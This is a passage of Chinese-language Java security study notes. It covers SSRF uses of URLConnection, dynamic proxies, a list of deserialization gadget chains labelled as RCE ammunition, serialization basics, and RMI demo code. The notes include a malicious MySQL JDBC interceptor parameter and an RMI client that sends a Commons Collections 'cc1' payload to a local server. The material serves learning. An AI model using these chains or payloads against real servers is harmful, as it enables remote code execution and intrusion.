class="literal">true</span>&amp;queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor</span><br></pre></td></tr></table></figure><h2 id="URLConnection"><a href="#URLConnection" class="headerlink" title="URLConnection"></a>URLConnection</h2><h2 id="ssrf"><a href="#ssrf" class="headerlink" title="ssrf"></a>ssrf</h2><ul><li>利用file协议读取文件内容（仅限使用<code>URLConnection|URL</code>发起的请求）</li><li>利用http 进行内网web服务端口探测</li><li>利用http 进行内网非web服务端口探测(如果将异常抛出来的情况下)</li><li>利用http进行ntlmrelay攻击(仅限<code>HttpURLConnection</code>或者二次包装<code>HttpURLConnection</code>并未复写<code>AuthenticationInfo</code>方法的对象)</li></ul><h2 id="JNI"><a href="#JNI" class="headerlink" title="JNI"></a>JNI</h2><h2 id="动态代理"><a href="#动态代理" class="headerlink" title="动态代理"></a>动态代理</h2><p><code>Java</code>反射提供了一种类动态代理机制，可以通过代理接口实现类来完成程序无侵入式扩展。</p><p>简单来说，它允许你在程序运行时，“变出”一个代理对象，这个对象拥有和真实对象一样的接口，但在调用真实对象的方法前后，你可以插入额外的逻辑（如日志、事务、权限检查等）</p><p><code>java.lang.reflect.Proxy</code> <code>java.lang.reflect.InvocationHandler</code></p><p><code>java.lang.reflect.Proxy</code>类是通过创建一个新的<code>Java类(类名为com.sun.proxy.$ProxyXXX)</code>的方式来实现无侵入的类方法代理功能的。</p><p><strong>动态代理生成出来的类有如下技术细节和特性：</strong></p><ol><li>动态代理的必须是<strong>接口类</strong>，通过<code>动态生成一个接口实现类</code>来代理接口的方法调用(<code>反射机制</code>)。</li><li>动态代理类会由<code>java.lang.reflect.Proxy.ProxyClassFactory</code>创建。</li><li><code>ProxyClassFactory</code>会调用<code>sun.misc.ProxyGenerator</code>类生成该类的字节码，并调用<code>java.lang.reflect.Proxy.defineClass0()</code>方法将该类注册到<code>JVM</code>。</li><li>该类继承于<code>java.lang.reflect.Proxy</code>并实现了需要被代理的接口类，因为<code>java.lang.reflect.Proxy</code>类实现了<code>java.io.Serializable</code>接口，所以被代理的类支持<code>序列化/反序列化</code>。</li><li>该类实现了代理接口类(示例中的接口类是<code>com.anbai.sec.proxy.FileSystem</code>)，会通过<code>ProxyGenerator</code>动态生成接口类(<code>FileSystem</code>)的所有方法，</li><li>该类因为实现了代理的接口类，所以当前类是代理的接口类的实例(<code>proxyInstance instanceof FileSystem</code>为<code>true</code>)，但不是代理接口类的实现类的实例(<code>proxyInstance instanceof UnixFileSystem</code>为<code>false</code>)。</li><li>该类方法中包含了被代理的接口类的所有方法，通过调用动态代理处理类(<code>InvocationHandler</code>)的<code>invoke</code>方法获取方法执行结果。</li><li>该类代理的方式重写了<code>java.lang.Object</code>类的<code>toString</code>、<code>hashCode</code>、<code>equals</code>方法。</li><li>如果动过动态代理生成了多个动态代理类，新生成的类名中的<code>0</code>会自增，如<code>com.sun.proxy.$Proxy0/$Proxy1/$Proxy2</code>。</li></ol><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//Peroson接口</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">Person</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">doWorking</span><span class="params">()</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">doStudying</span><span class="params">()</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//Student类</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Student</span> <span class="keyword">implements</span> <span class="title class_">Person</span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doWorking</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;Working....&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doStudying</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;Studying...&quot;</span>);</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>使用Proxy中的newProxyInstance创建代理实例</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//proxystudent类 实现动态代理</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">proxyStudent</span> &#123;</span><br><span class="line">    <span class="comment">//返回类型应为接口</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Person <span class="title function_">createProxy</span><span class="params">(Student obj)</span>&#123;</span><br><span class="line">        <span class="comment">//Proxy.newProxyInstance()被调用时 返回的对象是这样的</span></span><br><span class="line">        <span class="comment">//class $Proxy0 extends java.lang.reflect.Proxy implements Person </span></span><br><span class="line">        <span class="comment">//因此只能转为Peroson接口 不能再转为Student了</span></span><br><span class="line">        <span class="type">Person</span> <span class="variable">proxyStudent</span> <span class="operator">=</span> (Person) Proxy.newProxyInstance(obj.getClass().getClassLoader(), <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Person.class&#125;, <span class="keyword">new</span> <span class="title class_">InvocationHandler</span>() &#123;</span><br><span class="line">            <span class="meta">@Override</span></span><br><span class="line">            <span class="keyword">public</span> Object <span class="title function_">invoke</span><span class="params">(Object proxy, Method method, Object[] args)</span> <span class="keyword">throws</span> Throwable &#123;</span><br><span class="line">                <span class="keyword">if</span>(method.getName().equals(<span class="string">&quot;doWorking&quot;</span>)) &#123;</span><br><span class="line">                    System.out.println(<span class="string">&quot;继续努力工作 ! 加油!&quot;</span>);</span><br><span class="line">                &#125;<span class="keyword">else</span> <span class="keyword">if</span>(method.getName().equals(<span class="string">&quot;doStudying&quot;</span>))&#123;</span><br><span class="line">                    System.out.println(<span class="string">&quot;继续努力学习 ! 加油!&quot;</span>);</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="type">Object</span> <span class="variable">result</span> <span class="operator">=</span> method.invoke(obj,args);</span><br><span class="line">                System.out.println(<span class="string">&quot;辛苦了&quot;</span>);</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;);</span><br><span class="line">        <span class="keyword">return</span>  proxyStudent;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">Student</span> <span class="variable">student</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Student</span>();</span><br><span class="line">        <span class="type">Person</span> <span class="variable">proxystu</span> <span class="operator">=</span> proxyStudent.createProxy(student);</span><br><span class="line">        proxystu.doStudying();</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="java反序列化"><a href="#java反序列化" class="headerlink" title="java反序列化"></a>java反序列化</h2><h2 id="链子集合（rce的子弹）"><a href="#链子集合（rce的子弹）" class="headerlink" title="链子集合（rce的子弹）"></a>链子集合（rce的子弹）</h2><h3 id="apache-common-collection"><a href="#apache-common-collection" class="headerlink" title="apache common collection"></a>apache common collection</h3><p>cc链</p><p><strong>反序列化时触发</strong></p><h3 id="mysql-connector-java"><a href="#mysql-connector-java" class="headerlink" title="mysql-connector-java"></a>mysql-connector-java</h3><p>mysql_ServerStatusDiffInterceptor链</p><p>mysql_detectCustomCollations链</p><p><strong>基本都是在连接数据库的时候触发的</strong></p><h3 id="urldns"><a href="#urldns" class="headerlink" title="urldns"></a>urldns</h3><p>原生无害链</p><p><strong>反序列化时触发</strong></p><h3 id="rome"><a href="#rome" class="headerlink" title="rome"></a>rome</h3><p>rome链</p><h3 id="commons-beanutils"><a href="#commons-beanutils" class="headerlink" title="commons-beanutils"></a>commons-beanutils</h3><p>CB链</p><p><strong>反序列化时触发</strong></p><h3 id="hessian"><a href="#hessian" class="headerlink" title="hessian"></a>hessian</h3><p>hessian链</p><h3 id="TemplatesImpl"><a href="#TemplatesImpl" class="headerlink" title="TemplatesImpl"></a>TemplatesImpl</h3><p>原生链 <code>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</code></p><p>调用newTransformer() 或者 getOutputProperties()时触发</p><h3 id="JdbcRowSetImpl"><a href="#JdbcRowSetImpl" class="headerlink" title="JdbcRowSetImpl"></a>JdbcRowSetImpl</h3><h2 id="反序列化入口点"><a href="#反序列化入口点" class="headerlink" title="反序列化入口点"></a>反序列化入口点</h2><h3 id="jndi"><a href="#jndi" class="headerlink" title="jndi"></a>jndi</h3><h3 id="fastjson"><a href="#fastjson" class="headerlink" title="fastjson"></a>fastjson</h3><h3 id="jackson"><a href="#jackson" class="headerlink" title="jackson"></a>jackson</h3><h3 id="el表达式"><a href="#el表达式" class="headerlink" title="el表达式"></a>el表达式</h3><h3 id="mysql"><a href="#mysql" class="headerlink" title="mysql"></a>mysql</h3><h2 id="序列化与反序列化"><a href="#序列化与反序列化" class="headerlink" title="序列化与反序列化"></a>序列化与反序列化</h2><p><strong>序列化就是将java对象转化为二进制数组的形式 便于网络传输</strong></p><p><strong>反序列化就是将二进制数组转变为原来的java对象</strong></p><p>序列化库:</p><p><code>java.io.Serializeable(内部序列化) java.io.Externalizable(外部序列化)</code></p><p>java库中的<code>java.io.ObjectInputStraeam</code>和<code>java.io.ObjectOutputStraeam</code>提供的writeObject()和readObject()实现了序列化与反序列化</p><h3 id="Serializable接口"><a href="#Serializable接口" class="headerlink" title="Serializable接口"></a>Serializable接口</h3><p>序列化对象需要 它的类继承Serializable接口</p><p>对象中的所有属性都会被序列化和反序列化 </p><p>某个字段不想被序列化 <strong>可以使用transient修饰</strong> <strong>静态属性也不会被序列化</strong></p><h4 id="serialVersionUID字段"><a href="#serialVersionUID字段" class="headerlink" title="serialVersionUID字段"></a>serialVersionUID字段</h4><p>一个对象在反序列化的时候 如果序列化串中的uid与当前对象值不同 反序列化会失败</p><p>如果uid没有显示生成 系统会自动生成</p><p>属性的变化都会导致自动生成的serialVersionUID发生变化。如果序列化和反序列化的serialVersionUID不同，则会报序列化版本不同的错误</p><h3 id="反序列化要求"><a href="#反序列化要求" class="headerlink" title="反序列化要求"></a><strong>反序列化要求</strong></h3><ul><li>被反序列化的类必须存在。</li><li>serialVersionUID值必须一致。</li></ul><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.javaSerializeDemo;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.util.Arrays;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">javaSerializedemo2</span> &#123;</span><br><span class="line"><span class="comment">//静态类</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">test</span> <span class="keyword">implements</span> <span class="title class_">Serializable</span> &#123;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">private</span> String username;</span><br><span class="line">        <span class="keyword">private</span> String password;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> String <span class="title function_">getPassword</span><span class="params">()</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> password;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setPassword</span><span class="params">(String password)</span> &#123;</span><br><span class="line">            <span class="built_in">this</span>.password = password;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> String <span class="title function_">getUsername</span><span class="params">()</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> username;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setUsername</span><span class="params">(String username)</span> &#123;</span><br><span class="line">            <span class="built_in">this</span>.username = username;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">   </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="comment">//创建字节数组输出流</span></span><br><span class="line">        <span class="type">ByteArrayOutputStream</span> <span class="variable">baos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="type">test</span> <span class="variable">test1</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">test</span>();</span><br><span class="line">        test1.setPassword(<span class="string">&quot;123456&quot;</span>);</span><br><span class="line">        test1.setUsername(<span class="string">&quot;admin&quot;</span>);</span><br><span class="line">    <span class="comment">//创建对象输出流 将转换的数据都存储到刚刚创建的字节数组输出流中</span></span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">out</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(baos);</span><br><span class="line"></span><br><span class="line">        out.writeObject(test1);</span><br><span class="line">        out.flush();</span><br><span class="line">        out.close();</span><br><span class="line">   </span><br><span class="line">        System.out.println(<span class="string">&quot;序列化结果: &quot;</span> + <span class="string">&quot;\t&quot;</span> +Arrays.toString(baos.toByteArray()));</span><br><span class="line">        <span class="comment">/* */</span></span><br><span class="line">        <span class="type">ByteArrayInputStream</span> <span class="variable">bais</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(baos.toByteArray());</span><br><span class="line"></span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">in</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(bais);</span><br><span class="line"></span><br><span class="line">        <span class="type">test</span> <span class="variable">test2</span> <span class="operator">=</span> (test) in.readObject();</span><br><span class="line"></span><br><span class="line">        System.out.println(<span class="string">&quot;反序列化结果: &quot;</span> + <span class="string">&quot;\t&quot;</span> + test2.getPassword() + <span class="string">&quot;\t&quot;</span> + test2.getUsername());</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="RMI"><a href="#RMI" class="headerlink" title="RMI"></a>RMI</h2><p><code>RMI(Remote Method Invocation)</code>即<code>Java</code>远程方法调用，<code>RMI</code>用于构建分布式应用程序，<code>RMI</code>实现了<code>Java</code>程序之间跨<code>JVM</code>的远程通信。</p><p>RMI架构</p><p>服务端</p><p>客户端</p><p>注册表</p><p><img src="E:\blog_back\source_posts\从零开始学习java安全\image-20260322133819357.png" alt="image-20260322133819357"></p><p><code>RMI</code>底层通讯采用了<code>Stub(运行在客户端)</code>和<code>Skeleton(运行在服务端)</code>机制，<code>RMI</code>调用远程方法的大致如下：</p><ol><li><code>RMI客户端</code>在调用远程方法时会先创建<code>Stub(sun.rmi.registry.RegistryImpl_Stub)</code>。</li><li><code>Stub</code>会将<code>Remote</code>对象传递给<code>远程引用层(java.rmi.server.RemoteRef)</code>并创建<code>java.rmi.server.RemoteCall(远程调用)</code>对象。</li><li><code>RemoteCall</code>序列化<code>RMI服务名称</code>，<code>Remote</code>对象。</li><li><code>RMI客户端</code>的<code>远程引用层</code>传输<code>RemoteCall</code>序列化后的请求信息通过<code>Socket</code>连接的方式传输到<code>RMI服务端</code>的<code>远程引用层</code>。</li><li><code>RMI服务端</code>的<code>远程引用层(sun.rmi.server.UnicastServerRef)</code>收到请求会请求传递给<code>Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)</code>。</li><li><code>Skeleton</code>调用<code>RemoteCall</code>反序列化<code>RMI客户端</code>传过来的序列化。</li><li><code>Skeleton</code>处理客户端请求：<code>bind</code>、<code>list</code>、<code>lookup</code>、<code>rebind</code>、<code>unbind</code>，如果是<code>lookup</code>则查找<code>RMI服务名</code>绑定的接口对象，序列化该对象并通过<code>RemoteCall</code>传输到客户端。</li><li><code>RMI客户端</code>反序列化服务端结果，获取远程对象的引用。</li><li><code>RMI客户端</code>调用远程方法，<code>RMI服务端</code>反射调用<code>RMI服务实现类</code>的对应方法并序列化执行结果返回给客户端。</li><li><code>RMI客户端</code>反序列化<code>RMI</code>远程方法调用结果。</li></ol><h3 id="RMI中的核心类UnicastRemoteObject"><a href="#RMI中的核心类UnicastRemoteObject" class="headerlink" title="RMI中的核心类UnicastRemoteObject"></a>RMI中的核心类UnicastRemoteObject</h3><p>主要有3个作用</p><ol><li>开启监听端口 (随机端口)</li><li>自动生成Stub对象</li><li>处理网络请求</li></ol><p>RMI的基本实现</p><p>接口</p><p>实现类</p><p>服务端</p><p>客户端</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//RMITestInterface.java</span></span><br><span class="line"><span class="keyword">import</span> java.rmi.Remote;</span><br><span class="line"><span class="keyword">import</span> java.rmi.RemoteException;</span><br><span class="line"></span><br><span class="line"><span class="comment">//接口方法</span></span><br><span class="line"><span class="comment">//继承Remote类 表明可以当做rmi的接口方法 作用和Serialized类似</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">RMITestInterface</span> <span class="keyword">extends</span> <span class="title class_">Remote</span> &#123;</span><br><span class="line">    String <span class="title function_">test</span><span class="params">()</span> <span class="keyword">throws</span> RemoteException;</span><br><span class="line">    String <span class="title function_">print</span><span class="params">(Object obj)</span> <span class="keyword">throws</span> RemoteException;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//RMIServerTestImpl.java</span></span><br><span class="line"><span class="keyword">import</span> java.rmi.RemoteException;</span><br><span class="line"><span class="keyword">import</span> java.rmi.server.UnicastRemoteObject;</span><br><span class="line"></span><br><span class="line"><span class="comment">//实现类</span></span><br><span class="line"><span class="comment">//继承RMITestInterface</span></span><br><span class="line"><span class="comment">//不用继承UnicastRemoteObject</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RMIServerTestImpl</span> <span class="keyword">implements</span> <span class="title class_">RMITestInterface</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">long</span> <span class="variable">serialVersionUID</span> <span class="operator">=</span> <span class="number">1L</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">protected</span> <span class="title function_">RMIServerTestImpl</span><span class="params">()</span> <span class="keyword">throws</span> RemoteException &#123;</span><br><span class="line">        <span class="built_in">super</span>();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">test</span><span class="params">()</span> <span class="keyword">throws</span> RemoteException &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;hello RMI&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">print</span><span class="params">(Object obj)</span> <span class="keyword">throws</span> RemoteException &#123;</span><br><span class="line">        System.out.println(obj);</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&quot;ok&quot;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//RMIServer.server</span></span><br><span class="line"><span class="keyword">import</span> java.rmi.Naming;</span><br><span class="line"><span class="keyword">import</span> java.rmi.registry.LocateRegistry;</span><br><span class="line"><span class="keyword">import</span> java.rmi.registry.Registry;</span><br><span class="line"><span class="keyword">import</span> java.rmi.server.UnicastRemoteObject;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RMIServer</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">RMI_HOST</span> <span class="operator">=</span> <span class="string">&quot;127.0.0.1&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">RMI_PORT</span> <span class="operator">=</span> <span class="number">5564</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">RMI_NAME</span> <span class="operator">=</span> <span class="string">&quot;rmi://&quot;</span> + RMI_HOST + <span class="string">&quot;:&quot;</span> + RMI_PORT + <span class="string">&quot;/demo&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args )</span> &#123;</span><br><span class="line">        <span class="keyword">try</span>&#123;</span><br><span class="line"></span><br><span class="line">            <span class="comment">//在注册中心 注册端口</span></span><br><span class="line">            <span class="type">Registry</span> <span class="variable">registry</span> <span class="operator">=</span> LocateRegistry.createRegistry(RMI_PORT);</span><br><span class="line"></span><br><span class="line">            <span class="type">RMIServerTestImpl</span> <span class="variable">impl</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">RMIServerTestImpl</span>();</span><br><span class="line">            </span><br><span class="line">            <span class="comment">//显示的修改UnicastRemoteObject监听端口号</span></span><br><span class="line">            <span class="comment">//不显示修改的话 在接口中需要继承UnicastRemoteObject类自动分配</span></span><br><span class="line">            <span class="type">RMITestInterface</span> <span class="variable">stub</span> <span class="operator">=</span> (RMITestInterface) UnicastRemoteObject.exportObject(impl,<span class="number">5564</span>);</span><br><span class="line"></span><br><span class="line">            Naming.bind(RMI_NAME,stub);</span><br><span class="line"></span><br><span class="line">            System.out.println(<span class="string">&quot;RMI服务启动成功,服务地址:&quot;</span> + RMI_NAME);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//RMIClient.java</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.rmi.Naming;</span><br><span class="line"><span class="keyword">import</span> java.rmi.registry.LocateRegistry;</span><br><span class="line"><span class="keyword">import</span> java.rmi.registry.Registry;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RMIClient</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="comment">//查找RMI服务</span></span><br><span class="line">            <span class="type">Registry</span> <span class="variable">registry</span> <span class="operator">=</span> LocateRegistry.getRegistry(RMIServer.RMI_HOST,RMIServer.RMI_PORT);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">            <span class="type">RMITestInterface</span> <span class="variable">rt</span> <span class="operator">=</span> (RMITestInterface) registry.lookup(<span class="string">&quot;demo&quot;</span>);</span><br><span class="line"></span><br><span class="line">            System.out.println(rt.test());</span><br><span class="line">            </span><br><span class="line"></span><br><span class="line">            <span class="comment">//生成cc1链</span></span><br><span class="line">            <span class="type">Object</span> <span class="variable">payload</span> <span class="operator">=</span> cc1.payload();</span><br><span class="line">           </span><br><span class="line">            <span class="type">String</span> <span class="variable">aa</span> <span class="operator">=</span> rt.print(payload);</span><br><span class="line"></span><br><span class="line">            System.out.println(aa);</span><br><span class="line"></span><br><span class="line">        &#125;<span class="keyword">catch</span>(Exception e)&#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="JNDI"><a href="#JNDI" class="headerlink" 